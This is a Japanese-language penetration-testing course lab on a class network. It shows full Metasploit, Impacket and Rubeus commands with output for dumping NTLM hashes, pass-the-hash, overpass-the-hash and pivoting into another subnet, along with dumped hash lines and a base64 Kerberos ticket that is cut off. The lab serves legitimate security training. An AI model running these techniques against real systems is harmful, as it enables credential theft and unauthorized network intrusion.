Lab 4.4: C2 Pivoting and Pass-the-Hash
オンライン演習
接続性: この演習では、クラス内ネットワーク(560A VPN経由)に接続している必要があります
目的
- ピボッティングにC2ツールを使用する(以前のラボのようにLiving off the Landを使用する代わりに)
- Metasploitの
psexec
モジュール、Impacket、およびRubeusを介したPass-the-Hash攻撃を使用して、実際のパスワードを全く使用せずにリモート認証を行う
ウォークスルービデオ
ラボのセットアップ
使用するVM:
- Linux
- Windows 11
Linux VMから10.130.10.10にpingできる必要があります:
コマンド
ping -c 4 10.130.10.10
想定される結果
sec560@560vm:~$ ping -c 4 10.130.10.10
PING 10.130.10.10 (10.130.10.10) 56(84) bytes of data.
64 bytes from 10.130.10.10: icmp_seq=1 ttl=63 time=45.0 ms
64 bytes from 10.130.10.10: icmp_seq=2 ttl=63 time=44.6 ms
64 bytes from 10.130.10.10: icmp_seq=3 ttl=63 time=42.6 ms
64 bytes from 10.130.10.10: icmp_seq=4 ttl=63 time=44.8 ms
--- 10.130.10.10 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3008ms
rtt min/avg/max/mdev = 42.607/44.269/45.017/0.968 ms
また、デスクトップのTerminal
ショートカットを使用して、Windows VMから10.130.10.10にpingできる必要があります:
コマンド
ping 10.130.10.10
想定される結果
PS C:\Users\sec560> ping 10.130.10.10
Pinging 10.130.10.10 with 32 bytes of data:
Reply from 10.130.10.10: bytes=32 time=44ms TTL=63
Reply from 10.130.10.10: bytes=32 time=45ms TTL=63
Reply from 10.130.10.10: bytes=32 time=44ms TTL=63
Reply from 10.130.10.10: bytes=32 time=42ms TTL=63
Ping statistics for 10.130.10.10:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 42ms, Maximum = 45ms, Average = 43ms
ラボ - ステップバイステップの手順
このラボでは、以前に見つけた認証情報(bgreen
/Password1
)を使用して10.130.10.5
を攻撃します。パスワードハッシュを取得し、それらのハッシュを使用して他のシステムへのアクセスを試みます。
このラボの要点は、*LM*および*NT*ハッシュを取得し、それらをクラックすることなく、ターゲットマシンの管理者アクセスに使用できることです。このラボを進めるにあたって、別のアカウントのパスワードの実際の値を知る必要はありません。単にハッシュ化された形式を使用してアクセスを取得します。
1: ハッシュの取得
以前に発見した認証情報を使用して、Metasploitとpsexec
モジュールを使用して10.130.10.5でセッションを確立します。まず、Linux VM内でMetasploitを起動します。
コマンド
msfconsole
以前に見つけた認証情報を使用して、10.130.10.5をターゲットとするようにMetasploitを設定します:
コマンド
use exploit/windows/smb/psexec
set smbuser bgreen
set smbpass Password1
set smbdomain hiboxy
set rhosts 10.130.10.5
set lhost tun0
想定される結果
msf6 > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set smbuser bgreen
smbuser => bgreen
msf6 exploit(windows/smb/psexec) > set smbpass Password1
smbpass => Password1
msf6 exploit(windows/smb/psexec) > set smbdomain hiboxy
smbdomain => hiboxy
msf6 exploit(windows/smb/psexec) > set rhosts 10.130.10.5
rhosts => 10.130.10.5
msf6 exploit(windows/smb/psexec) > set lhost tun0
lhost => tun0
Metasploitの設定を確認します:
コマンド
show options
想定される結果
msf6 exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
SERVICE_DESCRIPTION no Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SMBSHARE no The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
Used when connecting via an existing SESSION:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION no The session to run this module on
Used when making a new connection via RHOSTS:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.130.10.5 no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 no The target port (TCP)
SMBDomain hiboxy no The Windows domain to use for authentication
SMBPass Password1 no The password for the specified username
SMBUser bgreen no The username to authenticate as
[...trimmed for brevity...]
これでターゲットをエクスプロイトする準備が整いました!
コマンド
run
想定される結果
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 10.254.252.3:4444
[*] 10.130.10.5:445 - Connecting to the server...
[*] 10.130.10.5:445 - Authenticating to 10.130.10.5:445|hiboxy as user 'bgreen'...
[*] 10.130.10.5:445 - Selecting PowerShell target
[*] 10.130.10.5:445 - Executing the payload...
[+] 10.130.10.5:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (176198 bytes) to 10.130.10.5
[*] Meterpreter session 1 opened (10.254.252.3:4444 -> 10.130.10.5:53217) at 2024-08-21 22:50:41 +0000
meterpreter >
post/windows/gather/hashdump
モジュールを使用してローカルのWindowsハッシュを取得しましょう。
コマンド
run post/windows/gather/hashdump
想定される結果
meterpreter > run post/windows/gather/hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 53d647a08214cf86fa452c05bfa8d1eb...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
No users with password hints on this system
[*] Dumping password hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bdbcafd1792ab37c71243a2e9c8a6acf:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:d7da45674bae3a0476c0f64b67121f7d:::
SROCAdmin:1000:aad3b435b51404eeaad3b435b51404ee:2e920723943f81ec0af0fd735f737fef:::
antivirus:1001:aad3b435b51404eeaad3b435b51404ee:47f0ca5913c6e70090d7b686afb9e13e:::
slopez:1002:aad3b435b51404eeaad3b435b51404ee:87e968ead530264915a4b295c57c37d5:::
aparker:1003:aad3b435b51404eeaad3b435b51404ee:9b5684b030226a1203e4e7b718a3f9df:::
rgray:1004:aad3b435b51404eeaad3b435b51404ee:23d26a03aa7102abce4805d88e568a78:::
wrobinson:1005:aad3b435b51404eeaad3b435b51404ee:5deaec4b57b859c25cdd0513fb7bc750:::
mlara:1006:aad3b435b51404eeaad3b435b51404ee:d8d9eee954da5f2d42fe72f862fa493f:::
lstout:1007:aad3b435b51404eeaad3b435b51404ee:ca3f0e9ce3188b0602742da2976d6773:::
tandersen:1008:aad3b435b51404eeaad3b435b51404ee:bf459116e5854e34031997be8e13596d:::
awalker:1009:aad3b435b51404eeaad3b435b51404ee:fe1f27a2561b61511588b0d24e333a7c:::
mmiller:1010:aad3b435b51404eeaad3b435b51404ee:7a1f1fd59eb2b97041c74748ea6a68f8:::
vcollins:1011:aad3b435b51404eeaad3b435b51404ee:5bd9b7b6fce76d3aabfebee9debaa932:::
...truncated for brevity...
antivirus
で始まる行を見てみましょう。このアカウントは汎用的に見えるので、このハッシュを他のシステムで使用してみましょう。
2: ハッシュの使用
psexec
モジュールを再度使用します。まずアカウントを設定しましょう。
コマンド
background
set smbuser antivirus
想定される結果
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/smb/psexec) > set smbuser antivirus
smbuser => antivirus
このアカウントのパスワードを設定する必要があります。元のパスワードはわからないので、ハッシュを使用する必要があります。上にスクロールしてハッシュを取得します(LMとNTの両方、中間の:
を含む)。次に、set SMBPass
の後にハッシュを貼り付けます。
コマンド
set SMBPass aad3b435b51404eeaad3b435b51404ee:47f0ca5913c6e70090d7b686afb9e13e
想定される結果
sf6 exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:47f0ca5913c6e70090d7b686afb9e13e
SMBPass => aad3b435b51404eeaad3b435b51404ee:47f0ca5913c6e70090d7b686afb9e13e
Nmapスキャンから、ポート445でリッスンしている他の6台のホスト(アクセス権のあるシステムを除く)があることを思い出してください:
- 10.130.10.4
10.130.10.5(これは既に侵害したホストです)- 10.130.10.7
- 10.130.10.21
- 10.130.10.23
- 10.130.10.25
- 10.130.10.44
簡単にするため、10.130.10.21を使用します。それに応じてRHOSTS
オプションを設定できます。
コマンド
set RHOSTS 10.130.10.21
想定される結果
msf6 exploit(windows/smb/psexec) > set RHOSTS 10.130.10.21
RHOSTS => 10.130.10.21
オプションを確認します。
コマンド
show options
想定される結果
msf6 exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.130.10.21 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SMBDomain hiboxy no The Windows domain to use for authentication
SMBPass aad3b435b51404eeaad3b435b51404ee:47f0ca5913c6e70090d7b686afb9e13e no The password for the specified username
SMBSHARE no The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser antivirus no The username to authenticate as
...truncated for brevity...
それでは、このハッシュを使用してターゲットをエクスプロイトしてみましょう!
3: エクスプロイト
最後に、run
コマンドを使用してターゲットを攻撃します:
コマンド
run
想定される結果
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 10.254.252.2:4444
[*] 10.130.10.21:445 - Connecting to the server...
[*] 10.130.10.21:445 - Authenticating to 10.130.10.21:445|hiboxy.com as user 'antivirus'...
[*] 10.130.10.21:445 - Selecting PowerShell target
[*] 10.130.10.21:445 - Executing the payload...
[+] 10.130.10.21:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (176198 bytes) to 10.130.10.21
[*] Meterpreter session 2 opened (10.254.252.2:4444 -> 10.130.10.21:59846) at 2024-08-22 16:26:51 +0000
上でハイライトされた行は、ハッシュを使用するだけで.21にアクセスできたことを示しています!
エクスプロイトが失敗した場合(クリックして展開)
Service start timed out
が表示され、meterpreterセッションが開始されない場合は、再度run
を試してください。
コマンド
set RHOSTS 10.130.10.21
set LHOST tun0
run
Pass-the-Hash攻撃が成功すると、ターゲットマシンへのMeterpreterアクセスが取得できるはずです。プロンプトを見て確認できます -- meterpreter >
で始まっているはずです。
4: Meterpreterピボッティング
ターゲットのWindowsマシンにとっては、正当に認証されたと認識されます。オンプレミスの認証プロトコル(LANMAN Challenge/Response、NTLMv1、NTLMv2、およびKerberos)はすべて、パスワードではなくパスワードハッシュを共有秘密として使用します。パスワードの代わりにハッシュを使用しただけです。
これで、コースで前に説明したMeterpreterコマンドを実行できます。
コマンド
sysinfo
getuid
ifconfig
想定される結果
meterpreter > sysinfo
Computer : JUMP01
OS : Windows Server 2022 (10.0 Build 20348).
Architecture : x64
System Language : en_US
Domain : HIBOXY
Logged On Users : 9
Meterpreter : x86/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > ifconfig
[...truncated for brevity...]
Interface 8
============
Name : Intel(R) 82599 Virtual Function
Hardware MAC : 06:6e:a0:1c:ae:d1
MTU : 1500
IPv4 Address : 10.130.10.21
[...truncated for brevity...]
情報
**Hardware MAC**の出力は上記とは異なります。
被害マシンであるJUMP01でどのようなアクセス権があるかを理解するために、新しいmeterpreter拡張機能をロードしましょう。拡張機能は、実行中のmeterpreterセッションに追加機能を提供するためにロードできるDLLです:
コマンド
help load
load -l
load powershell
想定される結果
meterpreter > help load
Usage: load ext1 ext2 ext3 ...
Loads a meterpreter extension module or modules.
OPTIONS:
-h Help menu.
-l List all available extensions.
meterpreter > load -l
bofloader
espia
extapi
incognito
kiwi
lanattacks
peinjector
powershell
priv
python
sniffer
stdapi
unhook
winpmem
meterpreter > load powershell
Loading extension powershell...Success
新しい拡張機能をロードしたので、Metasploitはhelp
コマンドを更新して、利用可能な新しいコマンドを表示します:
コマンド
help
想定される結果
meterpreter > help
[...prior output skipped...]
Powershell Commands
===================
Command Description
------- -----------
powershell_execute Execute a Powershell command string
powershell_import Import a PS1 script or .NET Assembly DLL
powershell_session_remove Remove/clear a session (other than default)
powershell_shell Create an interactive Powershell prompt
今のところ、侵害されたマシンから直接、捉えどころのない10.130.11.0/24範囲を確認できることを検証するために、一回限りのコマンドを実行します。
コマンド
powershell_execute "Test-NetConnection -ComputerName 10.130.11.13 -Port 445"
想定される結果
meterpreter > powershell_execute "Test-NetConnection -ComputerName 10.130.11.13 -Port 445"
[+] Command execution completed:
ComputerName : 10.130.11.13
RemoteAddress : 10.130.11.13
RemotePort : 445
InterfaceAlias : Ethernet 2
SourceAddress : 10.130.10.21
TcpTestSucceeded : True
素晴らしい!被害マシン(JUMP01)がポート445で10.130.11.13に到達できることを確認しました。次に、Metasploit独自のルーティング機能を設定しましょう。
meterpreterセッションをbackground
してroute add
コマンドを使用するか、autoroute
コマンドを使用してmeterpreterセッションを介してトラフィックを自動的にルーティングすることができます。10.130.11.13は10.130.10.21とは異なる/24サブネットにあるため(第3オクテットが10ではなく11であることに注意)、route add
の方が簡単です。
コマンド
background
route add 10.130.11.0/24 -1
route print
想定される結果
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(windows/smb/psexec) > route add 10.130.11.0/24 -1
[*] Route added
msf6 exploit(windows/smb/psexec) > route print
IPv4 Active Routing Table
=========================
Subnet Netmask Gateway
------ ------- -------
10.130.11.0 255.255.255.0 Session 2
[...IPv6 routes omitted for brevity...]
セッション番号として-1
(マイナス1)を使用するのは、Metasploitに最も番号の大きいアクティブなmeterpreterセッションを使用するように指示するショートカットです。多くの場合、これは最新のセッションになります。
次に、10.130.11.13が任意のMetasploitモジュールを介して到達可能になったことを示します。古典的なモジュールから始めましょう: auxiliary/scanner/smb/smb_version
。
コマンド
use auxiliary/scanner/smb/smb_version
set RHOSTS 10.130.11.13
run
想定される結果
msf6 auxiliary(scanner/smb/smb_version) > run
[*] 10.130.11.13:445 - SMB Detected (versions:2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:) (encryption capabilities:AES-128-GCM) (signatures:optional) (guid:{bc6e924c-2d7b-4a36-a492-7fd0300c2cb8}) (authentication domain:HIBOXY)
[*] 10.130.11.13: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) >
情報
上記のguid:
の出力は異なります。
素晴らしい!Metasploitモジュールが、meterpreterセッションを介して透過的に10.130.11.0/24サブネットに到達できるようになったことを示しました。
psexec
モジュールを使用して10.130.11.13を攻撃することもできますが(そしてそれはラボの良いボーナスです!)、代わりにmeterpreterの代わりにSSHを使用してピボットする方法を示しましょう。
次のセクションの準備のために、このMetasploitセッションを終了してください:
コマンド
exit -y
想定される結果
msf6 auxiliary(scanner/smb/smb_version) > exit -y
sec560@slingshot:~$
5: SOCKSプロキシ経由のMetasploit
Metasploit独自のルーティングを使用したMeterpreterセッション経由のピボットの代わりに、SSHを使用してピボットする方法を示しましょう。Metasploitはエクスプロイテーションフレームワークであることを忘れないでください -- 独自のC2(meterpreter)を持っていますが、エクスプロイテーション機能がRapid7の焦点の大部分です。
まず、10.130.11.0/24サブネットに到達できる10.130.10.0/24サブネット内のホストの1つにSSH接続しましょう。bgreen
アカウントとPassword1
パスワードを使用します。Lab 4.2を既に完了している場合は、SSHキーベースの認証を既に設定している可能性があり、パスワードを入力する必要はないかもしれません。
コマンド
ssh -D 1080 bgreen@10.130.10.22
想定される結果
sec560@slingshot:~$ ssh -D 1080 bgreen@10.130.10.22
Warning: Permanently added '10.130.10.22' (ECDSA) to the list of known hosts.
Last login: Sat Apr 13 03:55:37 2024 from 10.254.252.3
bgreen@jump02:~$
Warning
SOCKSプロキシを利用可能な状態に保つには、SSHクライアントを開いたままにしておく必要があります。10.130.10.22でのSSHセッションを**終了せず**、代わりに次のステップのために新しいターミナルウィンドウまたはタブを開いてください。
次のステップのために新しいターミナルウィンドウを開いてください!
次に、作成したばかりのSOCKSプロキシを使用するようにMetasploitを設定します。auxiliary/scanner/smb/smb_version
モジュールを使用して、10.130.11.0/24サブネット全体をスキャンします。
コマンド
msfconsole -q -x '
setg Proxies socks5:127.0.0.1:1080;
use auxiliary/scanner/smb/smb_version;
set RHOSTS 10.130.11.1-20;
set THREADS 20;
run'
想定される結果
sec560@560vm:~$ msfconsole -q -x '
setg Proxies socks5:127.0.0.1:1080;
use auxiliary/scanner/smb/smb_version;
set RHOSTS 10.130.11.1-20;
set THREADS 20;
run'
Proxies => socks5:127.0.0.1:1080
RHOSTS => 10.130.11.1-20
THREADS => 20
[*] 10.130.11.13:445 - SMB Detected (versions:2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:LZNT1, Pattern_V1) (encryption capabilities:AES-256-GCM) (signatures:optional) (guid:{b71f6e4e-e6c5-4fe0-969f-e106a1741f36}) (authentication domain:HIBOXY)
[+] 10.130.11.13:445 - Host is running Version 10.0.20348 (likely Windows Server 2022)
[*] 10.130.11.1-20: - Scanned 20 of 20 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) >
情報
完了率は、ネットワーク接続の速度とターゲットシステムの応答性によって異なります。前と同様に、guid:
の出力も異なります。
すべてのMetasploitモジュールがProxies
変数をサポートしているわけではありませんが、ほとんどがサポートしています。ここではSSHを使用してSOCKSプロキシを提供していますが、多くのC2フレームワークには組み込みのSOCKSプロキシ機能もあります。setg Proxies
を使用したので、すべてのモジュールにわたってグローバルに変数を設定しました。
クレッシェンドとして、psexec
モジュールを使用して10.130.11.13のantivirus
アカウントにPass-the-Hashを実行しましょう:
コマンド
use exploit/windows/smb/psexec
set RHOSTS 10.130.11.13
set LHOST tun0
set LPORT 4401
set SMBUser antivirus
set SMBDomain hiboxy.com
set SMBPass aad3b435b51404eeaad3b435b51404ee:47f0ca5913c6e70090d7b686afb9e13e
set ReverseAllowProxy true
run
想定される結果
msf6 auxiliary(scanner/smb/smb_version) > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set RHOSTS 10.130.11.13
RHOSTS => 10.130.11.13
msf6 exploit(windows/smb/psexec) > set LHOST tun0
LHOST => tun0
msf6 exploit(windows/smb/psexec) > set LPORT 4401
LPORT => 4401
msf6 exploit(windows/smb/psexec) > set SMBUser antivirus
SMBUser => antivirus
msf6 exploit(windows/smb/psexec) > set SMBDomain hiboxy.com
SMBDomain => hiboxy.com
msf6 exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:47f0ca5913c6e70090d7b686afb9e13e
SMBPass => aad3b435b51404eeaad3b435b51404ee:47f0ca5913c6e70090d7b686afb9e13e
msf6 exploit(windows/smb/psexec) > set ReverseAllowProxy true
ReverseAllowProxy => true
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 10.254.252.3:4401
[*] 10.130.11.13:445 - Connecting to the server...
[*] 10.130.11.13:445 - Authenticating to 10.130.11.13:445|hiboxy.com as user 'antivirus'...
[*] 10.130.11.13:445 - Selecting PowerShell target
[*] 10.130.11.13:445 - Executing the payload...
[+] 10.130.11.13:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175686 bytes) to 10.130.11.13
[*] Meterpreter session 3 opened (10.254.252.3:4401 -> 10.130.11.13:54166) at 2024-04-17 03:32:03 +0000
meterpreter >
念のため言っておくと、Metasploitはパスワードハッシュにパスワードと同じ変数(SMBPass
)を使用します。技術的には、実際のパスワードが32文字の16進数、コロン、さらに32文字の16進数である場合... Metasploitは誤ってそれをハッシュとして扱います。ほとんどのツールは、次の例であるImpacketのように、パスワードハッシュを使用して認証する際に別の引数を使用します。
6: Impacketを使用したPass-the-Hash
次に、Impacketのサンプルツールが、実際のパスワードの代わりにネットワーク認証にパスワードハッシュを使用する方法を示します。ネットワークの観点から見ると、繰り返しになりますが、パスワードハッシュが共有秘密であり、パスワード自体ではありません。チャレンジ/レスポンスプロトコルでは、サーバーはパスワードではなく、サーバーが生成したチャレンジを使用してパスワード*ハッシュ*へのアクセスを証明するように求めています。言い換えると、「共有秘密」における秘密はハッシュであり、そのためハッシュとパスワードの両方を一般的に「認証情報マテリアル」と呼ぶことができます。
すべての*exec.py
ツールは、ドメイン、ユーザー名、ターゲットに対して同じ構文を使用します: DOMAIN/USERNAME@TARGET
。認証情報マテリアル(パスワード、パスワードハッシュ、またはKerberosチケット)は次のように提供できます:
- パスワード:
DOMAIN/USERNAME:PASSWORD@TARGET
の形式でパスワードを含めることができます。bashシェル自体が一部の特殊文字(行の残りの部分をコメントアウトする#
など)を処理するため、安全なアプローチは文字列全体を単一引用符で囲むことです。例:'DOMAIN/USERNAME:PASSWORD@TARGET'
。 - パスワードハッシュ: 別の
-hashes
引数を指定し、その後にコロンで区切られたLM:NTハッシュペアを続けることで、パスワードハッシュを含めることができます。例:'DOMAIN/USERNAME@TARGET' -hashes LM:NT
。
secretsdump
やMetasploitのpost/windows/gather/hashdump
などのツールも、LanManおよびNTハッシュをコロンで区切って出力するため、Impacketツールに直接コピーして貼り付けることができます。このハッシュ出力の完全な形式は、「John the Ripper」形式と呼ばれることがあり、以下に示します:
username:uid:lm_hash:nt_hash:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
一部のツールは、末尾の:::
を省略します。上記の例のAdministratorのパスワードは空白です。aad3b
で始まるLMハッシュは空白のパスワードを表し、31d6c
で始まるNTハッシュは空白のパスワードのハッシュです。WindowsがLMハッシュを保存するかどうかは複雑な問題です。
LMハッシュは次の状況では保存されません(より正確には、空白のハッシュが保存されます):
- Windows Vista / Server 2008以降でデフォルトで(ただし、LMハッシュの保存は再度有効にできます)
- パスワードが14文字より長い場合(パスワードは14文字に**切り捨てられません**; LMハッシュは単に空白であるかのように保存されます)
- Credential Guardが有効になっている場合(これはハードウェア要件を満たすデバイスのWindows 11 22H2以降でデフォルト)。Credential Guardが有効になっている場合、LMハッシュを保存するレジストリ設定さえ無視されます。
Windowsは**パスワード変更時**にLMハッシュを保存するかどうかを選択します。ドメインコントローラーは通常、時間の経過とともに移行されるため、企業がドメインアカウントにまだLMハッシュを持っていることは一般的です。どのアカウントでしょうか?Windows Server 2003 R2(またはそれ以下)がドメインコントローラーのオペレーティングシステムだった時からパスワードが変更されていないアカウントです。
ただし、今のところ、psexec.py
ツールを使用して10.130.10.21のantivirus
アカウントにハッシュを渡します。
次のステップのために新しいターミナルウィンドウを開いてください!
コマンド
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:47f0ca5913c6e70090d7b686afb9e13e hiboxy/antivirus@10.130.10.21 cmd.exe
想定される結果
sec560@560vm:~$ psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:47f0ca5913c6e70090d7b686afb9e13e hiboxy/antivirus@10.130.10.21 cmd.exe
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 10.130.10.21.....
[*] Found writable share ADMIN$
[*] Uploading file NiBCZVMy.exe
[*] Opening SVCManager on 10.130.10.21.....
[*] Creating service BlnS on 10.130.10.21.....
[*] Starting service BlnS.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.2582]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>
以前のImpacketのラボで説明したように、Impacketの異なる*exec.py
スクリプトには、異なるトレードクラフトと運用上のトレードオフがあります。チャレンジ/レスポンスネットワーク認証(LM Challenge/Response、NTLMv1、NTLMv2、またはKerberosを使用)を実行する場合、-hashes
引数は、パスワードの代わりにハッシュを指定するImpacketの方法です。
7: Rubeusを使用した「Overpass-the-Hash」
オンライン演習
次のステップではWindows VMに切り替えてください!Windows VMのデスクトップからChromeを開くことができます。ホームページはElectronic Workbookです。
次に、Rubeusを使用して*任意*のWindowsプロセス内で「overpass-the-hash」を実行する方法を示しましょう。Kerberos攻撃は、さまざまな技術に派手な名前が付けられており、これはその1つです。この場合、hiboxy\antivirus
パスワードハッシュを使用して、antivirus
ユーザーとしてログオン(TGTを受信)しています。これは、ペネトレーションテスターが提供するAssumed Breachエンドポイントなど、ドメインに参加していないマシンに特に役立ちます。
このステップでは、Windows VMをOpenVPNに接続する必要があります。OpenVPN経由で接続した後、Windows 10 VMから10.130.10.10にpingできるはずです:
コマンド
ping 10.130.10.10
想定される結果
PS C:\Users\sec560> ping 10.130.10.10
Pinging 10.130.10.10 with 32 bytes of data:
Reply from 10.130.10.10: bytes=32 time=41ms TTL=127
Reply from 10.130.10.10: bytes=32 time=41ms TTL=127
Reply from 10.130.10.10: bytes=32 time=43ms TTL=127
Reply from 10.130.10.10: bytes=32 time=43ms TTL=127
Ping statistics for 10.130.10.10:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 41ms, Maximum = 43ms, Average = 42ms
PS C:\Users\sec560>
OpenVPN
10.130.10.10にpingできない場合は、続行する前にOpenVPNサーバーに接続する必要があります。
Windows VMデスクトップのTerminal
ショートカットをクリックしてPowerShellウィンドウプロンプトを開き、次のコマンドを入力します:
コマンド
psexec \\10.130.10.21 cmd.exe
Rubeus.exe asktgt /user:antivirus /domain:hiboxy.com /dc:10.130.10.4 /rc4:47f0ca5913c6e70090d7b686afb9e13e /ptt
想定される結果
PS C:\Users\sec560> psexec \\10.130.10.21 cmd.exe
PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com
Couldn't access 10.130.10.21:
The user name or password is incorrect.
PS C:\Users\sec560> Rubeus.exe asktgt /user:antivirus /domain:hiboxy.com /dc:10.130.10.4 /rc4:47f0ca5913c6e70090d7b686afb9e13e /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.2
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 47f0ca5913c6e70090d7b686afb9e13e
[*] Building AS-REQ (w/ preauth) for: 'hiboxy.com\antivirus'
[*] Using domain controller: 10.130.10.4:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFgDCCBXygAwIBBaEDAgEWooIEmjCCBJZhggSSMIIEjqADAgEFoQwbCkhJQk9YWS5DT02iHzAdoAMC
AQKhFjAUGwZrcmJ0Z3QbCmhpYm94eS5jb22jggRWMIIEUqADAgESoQMCAQKiggREBIIEQOUL3x4RY8IA
fkKcDeuWOY3N0fYb7dQOkGzcP7qMBaMXeG0hAUb2e3KsfQIwYEecoRoh35QXVqtTk/zCpG86uwEtFM6F
2u/nJPiFt5YRa2GiQp7NrcFSJzE5HwYCMpA2F80r3OkeUXSFmXpZKBzlaLppia4PBXDLAHC0fT0CN3oW
RjGKHgHG84KoyMdKbNmyXNTzQaW3QOxnZDZUS+fdToupUV089MypBBXAtfDlGz49q+xzljZ5L3A70h2l
zJJGlbgN1RzPrzvoz8xzo7nb/kjDQfAeE8IngFkpOZqJKGSvTFo7nm6VERpjIMLFP/3nrS4xUOVg6Nej
facCINKOSyLJ+XaU5QybM3KZ5cJ6t95TVn9VvFkcJxSGW9O6jzpR7ruKDnMgYE05cMyA5VTbujXX6vSl
1gNwWkaBd5Mof3cQ3ObwOT0l2G0D9j2gUi+nhc3mjn7cJ3mflmgeq9Fyiw+3+E1AnAkxB3JMO5uUJovp
os7pD4jwk3g+oWH8sMuMHJehZajeoxRiif6EKNhMdgIxvBLzOXvKfSy0Ft++zZEaW9+3CsGH71ur50pf
IJleZpnoNnwaKnqL/OQ5HiJ0P6KIbxAvdOOZJUTH4rnSP7XfGWq7gcAwg6knC0qLQQ6ou2Ysy5D4nw/S
/KgQrO9Blf5i4SZXCCfkf1aEwG+SoUfxqKw4Lcl5iG38dvrJp9BNDihw9fUnkfFmf7Xej05IL+9T9iIW
03Xd1gSqrYPYbUSVA6DD0tSZfg67r/KsfIazqPHDosS2iks4zgl8k4CSKdLCgH5zXnvtY8jfEaSjFxOZ
2iu3cdnCF7G47RLcbbAP7ZuzMPwX45h0Q0l8K2nzhq/sqCw9Qa8F1tPQlOJTX4lKcT/M4dGaYfe0FH9J
2gVxdg+OlQLXAm64/SK7Zwxxs1n+rJht5/8CWq6T1olBzzWqQtBOKk6B7yKHTuEulryYAmnuEs9KOXiW
lshTQWUg9U8A7uWBqENoVqo1UiO2GmJdDhLZ61wmk/tvdJgA447MKzAfp18kCUJVzRj2V137ytRE5WG+
96q1S/2O0RYNjze1wn9sdl1C48yDv7vOWTKOTt7+ezXKJRhiezfJjYwyouW/ZzxQIKWJ+p2sKb7XW6IU
UzYJOdQ/5wWo/SoJ+T/+fTkoEyc00yKR2Fo1m685pv1kMx1dxzqXlGsbM7lnEDNu758wChwyvEYjxLci
HOXG3gOG5wBNk0i1bZe2hpDUeajXXNgOmvlRzkKlRyZRHEkdymSDTG12v3jInYTSi7jzUxppYSe1CrJm
r7wO4W2nsy4KCvZy4Nm8NCEW/pycRSk1AI0fQBKlR8HjdRWNh4Jz7Mpv6CDn+QZ+i5WHKfWYtLiPzgzA
83YFKfS3wvpBt24Wn2eMbFGIOprBIhLtVQgqHpyUV00tkzWxD2nuAvBErB7dPAlUiiDbWdZTs6IQx8YD
o4HRMIHOoAMCAQCigcYEgcN9gcAwgb2ggbowgbcwgbSgGzAZoAMCARehEgQQCSQy3TpVzXLp4TCC9yGk
vaEMGwpISUJPWFkuQ09NohYwFKADAgEBoQ0wCxsJYW50aXZpcnVzowcDBQBA4QAApREYDzIwMjQxMDAy
MTkyMjA3WqYRGA8yMDI0MTAwMzA1MjIwN1qnERgPMjAyNDEwMDkxOTIyMDdaqAwbCkhJQk9YWS5DT02p
